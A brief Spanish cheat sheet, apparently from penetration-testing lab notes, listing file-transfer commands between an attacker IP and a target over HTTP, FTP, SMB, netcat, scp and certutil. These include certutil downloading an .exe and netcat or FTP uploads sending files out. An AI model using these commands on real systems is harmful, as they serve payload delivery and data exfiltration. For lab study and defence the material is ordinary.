HTTP

# Levantar server HTTP
python3 -m http.server 80

# En Windows
Invoke-WebRequest -Uri <http://10.10.14.73/archivo> -OutFile archivo

# En Linux
curl <http://10.10.14.73/archivo> -o archivo

FTP

# Levantar server FTP
python3 -m pyftpdlib --port 21 --write

# En Windows
# Subir ficheros
powershell -c "(New-Object Net.WebClient).UploadFile('<ftp://10.10.14.73/archivo.zip>', 'C:\\\\path\\\\archivo.zip')"
# Descargar ficheros
powershell -c "(New-Object Net.WebClient).DownloadFile('<ftp://10.10.14.73/archivo.zip>', 'C:\\\\path\\\\archivo.zip')"

# En Linux
# Conectarse al ftp
ftp 10.10.14.73
# Subir ficheros
put archivo.zip
# Descargar ficheros
get archivo.zip

SMB

# Levantar server SMB
invoke-smbserver shared_folder /tmp/ -smb2support

# En Windows
net use \\\\\\\\10.10.14.73\\\\compartido /user:usuario contraseña
copy \\\\\\\\10.10.14.73\\\\compartido\\\\archivo.txt C:\\\\Users\\\\Public

# En Linux
smbclient //10.10.14.73/compartido -U usuario%contraseña

netcat

# Escucha
nc -lvp 4444 > archivo.txt

# Envía
nc 10.10.14.73 4444 < archivo.txt

scp

scp [email protected]:C:\\\\ruta\\\\archivo.txt /ruta/local/

certutil

Certutil es una herramienta nativa en Windows que permite descargar archivos:

certutil -urlcache -f <http://10.10.14.73/archivo.exe> archivo.exe